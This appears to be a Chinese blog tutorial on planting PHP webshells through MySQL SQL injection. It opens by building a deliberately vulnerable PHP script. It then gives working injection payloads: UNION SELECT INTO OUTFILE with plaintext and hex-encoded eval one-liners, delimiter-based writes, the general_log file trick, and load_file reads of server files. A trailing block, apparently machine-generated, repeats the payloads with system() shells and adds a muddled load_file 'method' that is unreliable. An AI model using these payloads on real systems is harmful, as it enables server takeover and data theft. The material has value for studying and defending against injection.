MySQL注入点写入WebShell的几种方式

在工具化日益成熟的今天,手工注入的能力越来越被忽视了。当你掌握了一款工具的使用时,应更深入的去了解工具帮你做了什么,把工具所产生的影响控制在自己可控的范围内。

比如:当面对一个MySQL注入点,通过使用SQLmap--os-shell命令选项,便可轻松一键获取Webshell,但是非正常退出时,便会在网站目录中存留SQLmap临时上传的Webshell文件。

接下来,本文将通过构造一个注入点,分享几种Webshell写入的技巧。

0x01 构造一个注入点

1、在默认数据库test中创建测试表admin和测试数据,新建test用户授予FILE权限。

grant file on *.* to 'test'@'localhost';

但即使有了file权限,输出目录路径应该secure_file_priv一致,否侧文件操作不成功

mysql> show variables like '%sec%'
    -> ;
+--------------------------+----------+
| Variable_name            | Value    |
+--------------------------+----------+
| require_secure_transport | OFF      |
| secure_auth              | ON       |
| secure_file_priv         |          |
+--------------------------+----------+
1.MYSQL新特性限制文件写入及替代方法

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

secure_file_priv

​ 1、限制mysqld 不允许导入 | 导出

​ --secure_file_prive=null

​ 2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下

​ --secure_file_priv=/tmp/

​ 3、不对mysqld 的导入 | 导出做限制

​ --secure_file_priv=

linux

cat /etc/my.cnf

​ [mysqld]

​ secure_file_priv=

win

my.ini

​ [mysqld]

​ secure_file_priv=

2、使用test用户连接数据库。

<?php
$con=mysql_connect("localhost","test","123456");
mysql_select_db("test", $con);
$id = $_REQUEST[ 'id' ];
$query  = "SELECT * FROM test.admin WHERE id = $id ";
$result = mysql_query($query);
......

0x02 写入WebShell的几种方式

1、利用Union select 写入

这是最常见的写入方式,union 跟select into outfile,将一句话写入evil.php,仅适用于联合注入。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户有File权限、获取物理路径。

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'

?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"

2、利用分隔符写入

当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。

?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --+
此选项指定文本文件中行与行之间数据的分隔字符串 或者字符。
?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>'--+;

同样的技巧,一共有四种形式:

?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#

?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码)#

3、利用log写入

新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。

具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。

show variables like '%general%';             # 查看配置

set global general_log = on;               # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。

set global general_log_file = 'E:/study/WWW/evil.php'; # 设置日志目录为shell地址

select '<?php eval($_GET[g]);?>'             # 写入shell

set global general_log=off;                  # 关闭general log模式

附录:高权限文件读取

load_file()读文件——select load_file(‘目录’)。路径使用\\ ,否则会被当作转义符号。

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

img

  • 1
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在实施 SQL 注入攻击后,如果漏洞利用成功,攻击者可以通过 SQL 注入漏洞将任意命令注入到 SQL 语句中,从而达到执行任意代码的目的。以下是一些可能的方法: 1. 利用 union select 语句:在注入处添加 union select 语句,然后将 webshell 的代码写入到 select 后面的字段中,以获取服务器上的文件权限。 例如:假设漏洞在 id 参数处,可以使用以下语句在数据库中创建一个 webshell 文件: ``` ?id=-1 union select 1, '<?php eval($_POST["cmd"]);?>' into outfile '/var/www/html/shell.php' ``` 2. 利用 into outfile 语句:使用 into outfile 语句将数据导出到指定的文件中,并将 webshell 写入到这个文件中。 例如:假设漏洞在 id 参数处,可以使用以下语句在数据库中创建一个 webshell 文件: ``` ?id=-1 union select 1, "<?php echo system($_GET['cmd']);?>" into outfile '/var/www/html/shell.php' ``` 3. 利用 load_file 语句:使用 load_file 语句加载服务器上的文件,并将 webshell 写入到这个文件中。 例如:假设漏洞在 id 参数处,可以使用以下语句在数据库中创建一个 webshell 文件: ``` ?id=-1 union select 1, "<?php echo system($_GET['cmd']);?>" into outfile '/var/www/html/shell.php'; --' ?id=-1 union select 1, load_file('/var/www/html/shell.php') into outfile '/var/www/html/shell.php'; --' ``` 需要注意的是,写入 webshell 是非常危险的行为,攻击者需要谨慎考虑后果,以免对系统造成不可挽回的损失。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值